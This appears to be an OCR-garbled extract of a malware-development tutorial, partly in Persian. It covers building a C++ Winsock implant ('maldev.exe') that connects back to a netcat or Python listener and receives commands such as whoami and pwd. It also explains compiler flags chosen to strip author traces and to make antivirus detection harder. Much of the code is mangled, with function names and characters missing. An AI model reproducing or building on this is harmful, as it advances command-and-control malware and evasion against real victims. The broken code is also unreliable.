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Language

Python/Ruby

Golang

C#

C/CH+

Assembly/
Shellcoding

Difficulty

Easy

Medium

Medium

Hard

Hardest

Portability

Yes

Yes

No

Yes - due
to low level
nature

Yes

Scalability

Yes

Yes

Yes

Yes

No

Size

Large

Large

Large

Small

Smallest

Performance

Slow due to
too rmuch
overhead

Faster than
Python/ Ruby

Slow due to
too much
library
overhead

Fast

Fastest

Detection

Easy due
to too
many
libraries

Medium
since not
many
people
write  in
Go

Hard

Hard

Hard
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e § apt-get install mingw-w64-common mingw-w64-i686-dev mingw-w64-tools mingw-
w64-x86-64-dev
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Winsock2.h
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lostream.h, stdio.h
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stealth;
OF

stealth= ("ConsoleWindowClass™ ,NULL);

{stealth, SW_SHOWNORMAL );

Qs

return 0;
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wsaver;
( (2,2), &wsaver);
tcpsock = (AF_INET,SOCK_STREAM, IPPROTO_TCP);
addr;
addr.sin_family = AF_INET;
addr. sin_addr.s_addr = ("127.0.0.1™);
addr.sin_port = (

it (tcpsock, (SOCKADDR*)&addr, sizeof(addr))=—=SOCKET_ERROR) {
(tcpsock);
Ok
(@);

}
else §

std: :cout << "[+] Connected. Hit <Enter> to disconnect...” << std

std: :cin. )

(tcpsock);
OF

OF

9 4 / s Sy Jud 5l Glaseion §1ugS daudbg 45 cuwl Struct SO WSAStartup
1800 3b ) s 2 Juate 0T 4 45 ttuan 4 Dogaye leMbl s

W Sl C;S}w &Sg‘)i) &3[3 L b dalal yo

Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

AF_INET — gias (3 81 o
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or Linux:

1686-wb4-mingw32-g++ -std=c++11 maldev.cpp -0 maldev.exe -s -lws2_32 -Who-write-strings -fo-
ceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

or Windows:

o++ -std=c++11 maldev.cpp -0 maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-
pnstants -static-libstdc++ -static-libgcc
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"version™: "2.0.0",

"tasks": [

I
L

"label™: "Build Code™,
"type": "shell",

"command”: "1686-w64-mingw32-g++",
"args”: [

"_std=c++11", "maldev.cpp", "-0", "maldev.exe", "-s", "-lws2 32",
"-Wno-write-strings”, "-fno-exceptions”, "-fmerge-all-constants”, "-static-libstd
c++", "-static-libgcc”

]!

"group™: {
"kind": "build”,
"isDefault": true
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<1> cmd B <2> maldev@Trinity

:~% nc -lnvp 8080

Listening on [0.90.0.0] (family @6, port 8089)

Connection from [127.0.0.1] port 8088 [tcp/*] accepted (family 2, sport 22268)
:~$ |
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else {
std::cout << "[+] Connected to client. waiting for incoming command..." <
< std::endl;

char CommandReceived[DEFAULT_BUFLEN] = "";

while (true)

{
int Result = (tcpsock, CommandReceived, DEFAULT_BUFLEN, @);
std: :cout << "Command received: " << CommandReceived;

std: :cout << "Length of Command received: " << Result << std::endl;
(CommandReceived, @, sizeof(CommandReceived));

oS5 1y ods bl 3L (Sade Hlude Result .29y dalss Y dy duds Lo uS

sl (command) )giwws 0diyls 45 5L 2 CommandReceived .3ldue
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Primary Buffer: [powershell]

Secondary Buffer: [whoami]
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if (( (CommandReceived, "whoami") = @)) {
std: :cout << "Command parsed: whoami" << std::endl;

¥
else if (( (CommandReceived, "pwd") = @)) {
std: :cout << "Command parsed: pwd" << std::endl;

}

else if (( {CommandReceived, "exit") = @)) {
std: :cout << "Command parsed: exit";
std: :cout << "Closing connection” << std::endl;

¥

else {
std: :cout << "Command not parsed!" << std::endl;

FeaiSie b8l i8Iy 5 S s 0T 1 ey
For Linux:

§ i686-wb4-mingw32-g++ -std=c++11 maldev.cpp -0 maldev.exe -s -lws2_32 -Wno-write-strings -fno-
exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

For Windows:

> g++ -std=c++11 maldev.cpp -0 maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc
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if (( (CommandReceived, "whoaminn") = 0)) {

1
]

else if (( (CommandReceived, "pwd\n™) =— @)) {

1
4
else if (( (CommandReceived, "exit\n") = @)) {

1
J




. waiting for incoming command...

/
Command parsed: whoami
Command received: pwd
Length of Command re¢
Command parsec
Command rece
Length of Co

Command parsed:
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-std=c++11 maldev.cpp -0 maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-
caonstants -static-libstdc++ -static-libgcc

® std=c++]1 indicates that we are going to use C++ standard 11. My g++ version is 6.3.0 as of the
time of writing this blog. My g++ version comes with default standard as C++17. Compiling with
C++17 gives me a of new features such as quick conversion from string to int, using numbers in
Case:break conditions, but at the same time it increases the size of the binary. Compiling with
C++17 gave me a size of 32Kb as the final size of binary, whereas C++11 gave me the size of
24Kb. Thus, c++11 was choosen.

® -5 strips off any metadata left in the binary, debug symbols, information about where the binary
was compiled, username of the compiler, hostname of the compiler, directory where it was
compiled and so on.
= Tip: When compiling the final binary, always make sure you do it in a new VM with clean
install so that it does not leave back any trace of the author and the coding environment

= -Jsw? 32 informs the compiler to link lsw2_32.lib library with the socket required for windows.
This will allow even older version of windows to work with the sockets

» -Whno-write-strings is required to convert string to char. This is only useful when debugging the
binary. During final compilation this has no effect since we will not be using <strings.h=> or the
<iostream= header.

= fno-exceptions as describes itself is used to specify the compiler that the binary that is getting
compiled has no exceptions. If exception is enabled, it slows down the processing time of the
execution of the binary. Although at this stage, the process execution time is miniscule, when we
import large functions in the malware which can also include exploits, the processing time tends
to slow down a lot. This is the main reason for not using exceptions in our malware.

= -fmerge-all-constants will combine all the constant arrays/integers and chars and initialize them

at the very start. This is very useful in code optimization since this will increase the speed of
pracessing/comparing buffers and find addresses of the buffers in memary quickly. This option
will merge all the addresses and stare them at a location which is known and thus it will be
quicker to access these locations.

m static-libstdc++ and -static-libgcc are used to compile C and C++ headers statically together in a

C++ program. Since we are going to mix up C and C++ caode, we would be needing these two a
lot. Also, when dynamic links are performed, its easier for antiviruses to detect the hinary as
malicious. We will not be linking any DLL to our binary atleast for now. And so we will require
static linking
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socket
sys

0s
threading
queue

q = queue. O
Socketthread = []

O:

it (len(sys.argv) < 3):
("[!'] Usage:\n [+] python3 " + sys.argv[@] + " <LHOST> <LPORT>\n
[+] Eg.: python3 " + sys.argv[@] + " 0.0.0.0 8080\n")
else:;

sys.argv[1]

int(sys.argv[Z])

(lhost, lport, q)
as ex:

\n[-] Unable to run the handler. Reason: +

if _name__ = '__main__":

Q




